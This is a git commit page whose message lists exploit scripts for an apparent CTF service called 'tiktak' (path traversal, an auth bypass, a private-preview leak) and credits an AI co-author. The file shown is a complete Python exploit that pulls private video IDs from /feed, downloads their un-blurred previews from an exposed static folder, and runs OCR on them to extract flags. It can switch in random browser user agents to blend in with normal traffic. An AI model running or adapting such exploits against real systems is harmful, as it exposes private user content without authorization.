sploits: tiktak (LFI, auth bypass, утечка превью)
- tiktak_vtt_path_traversal.py: ../ в ?id=, подбирает рабочий шаблон
один раз и переиспользует на остальных ID.
- tiktak_vtt_auth_bypass.py: рассинхрон SQL/FS ('./7' => MySQL 0, файл
public/vtt/7.vtt), работает даже если запатчат только traversal.
- tiktak_private_preview_leak.py: резкое превью приватного видео,
OCR опционален, без pytesseract молча не печатает мусор в stdout.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Executable
+127
@@ -0,0 +1,127 @@
|
||||
#!/usr/bin/env python3
|
||||
import sys
|
||||
import re
|
||||
import random
|
||||
import requests
|
||||
|
||||
USE_CUSTOM_USER_AGENT = False
|
||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||
|
||||
USER_AGENTS = [
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||
]
|
||||
|
||||
PORT = 5000
|
||||
FEED_RX = re.compile(r'src="([^"]*preview_(\d+)(_blured)?\.png)"')
|
||||
|
||||
|
||||
def _ocr(png_bytes):
|
||||
"""Optional: OCR the frame. No-op (and no crash) if pytesseract is absent."""
|
||||
try:
|
||||
import io
|
||||
from PIL import Image
|
||||
import pytesseract
|
||||
except ImportError:
|
||||
return ""
|
||||
try:
|
||||
return pytesseract.image_to_string(Image.open(io.BytesIO(png_bytes)))
|
||||
except Exception as e:
|
||||
print(f"[-] ocr failed: {e}", file=sys.stderr, flush=True)
|
||||
return ""
|
||||
|
||||
|
||||
def exploit(target_ip):
|
||||
flags = set()
|
||||
|
||||
headers = {}
|
||||
if USE_CUSTOM_USER_AGENT:
|
||||
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# VULN: server/server.go handleCreate() + routes()
|
||||
# ppath := s.previewPath(v.ID) // public/static/preview_<id>.png
|
||||
# video.GeneratePreview(ctx, ..., ppath)
|
||||
# if v.Private { video.Blur(ppath, s.privatePreviewPath(v.ID)) }
|
||||
# ...
|
||||
# s.e.Static("/"+s.c.StaticFolder, s.c.StaticFolder)
|
||||
#
|
||||
# For a PRIVATE video the sharp first frame is written to
|
||||
# public/static/preview_<id>.png and is NEVER deleted; only an extra blurred
|
||||
# copy preview_<id>_blured.png is produced. public/static is exposed by
|
||||
# echo.Static, so the un-blurred frame of every private video is a plain
|
||||
# unauthenticated GET away -- the feed only ever links the blurred one.
|
||||
#
|
||||
# /feed leaks the id of every video (including private ones), so:
|
||||
# /public/static/preview_<id>_blured.png -> what you are supposed to see
|
||||
# /public/static/preview_<id>.png -> the real frame
|
||||
# -------------------------------------------------------------------------
|
||||
try:
|
||||
s = requests.Session()
|
||||
s.headers.update(headers)
|
||||
base = f"http://{target_ip}:{PORT}"
|
||||
|
||||
private_ids = []
|
||||
try:
|
||||
r = s.get(f"{base}/feed", timeout=5)
|
||||
# a "_blured" preview in the feed == the video is private
|
||||
private_ids = sorted(
|
||||
{int(m[1]) for m in FEED_RX.findall(r.text) if m[2]}, reverse=True
|
||||
)
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
if not private_ids:
|
||||
print(f"[!] no private videos advertised by /feed on {target_ip}",
|
||||
file=sys.stderr, flush=True)
|
||||
return flags
|
||||
|
||||
for vid in private_ids:
|
||||
url = f"{base}/public/static/preview_{vid}.png"
|
||||
try:
|
||||
r = s.get(url, timeout=5)
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] preview {vid} failed: {e}", file=sys.stderr, flush=True)
|
||||
continue
|
||||
if r.status_code != 200 or not r.content.startswith(b"\x89PNG"):
|
||||
continue
|
||||
|
||||
print(f"[+] leaked un-blurred preview of private video {vid} "
|
||||
f"({len(r.content)} bytes) from {url}", file=sys.stderr, flush=True)
|
||||
flags.update(FLAG_RX.findall(_ocr(r.content)))
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
# -------------------------------------------------------------------------
|
||||
|
||||
return flags
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||
sys.exit(1)
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
|
||||
try:
|
||||
found_flags = exploit(target_ip)
|
||||
|
||||
if found_flags is None:
|
||||
found_flags = []
|
||||
elif isinstance(found_flags, str):
|
||||
found_flags = [found_flags]
|
||||
|
||||
for flag in found_flags:
|
||||
clean_flag = str(flag).strip()
|
||||
if FLAG_RX.fullmatch(clean_flag):
|
||||
print(clean_flag, flush=True)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user